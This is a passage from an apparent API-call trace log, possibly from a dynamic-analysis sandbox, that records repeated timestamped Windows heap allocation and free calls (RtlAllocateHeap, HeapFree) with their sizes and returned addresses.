hHeap=0x670000) returned 1 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, 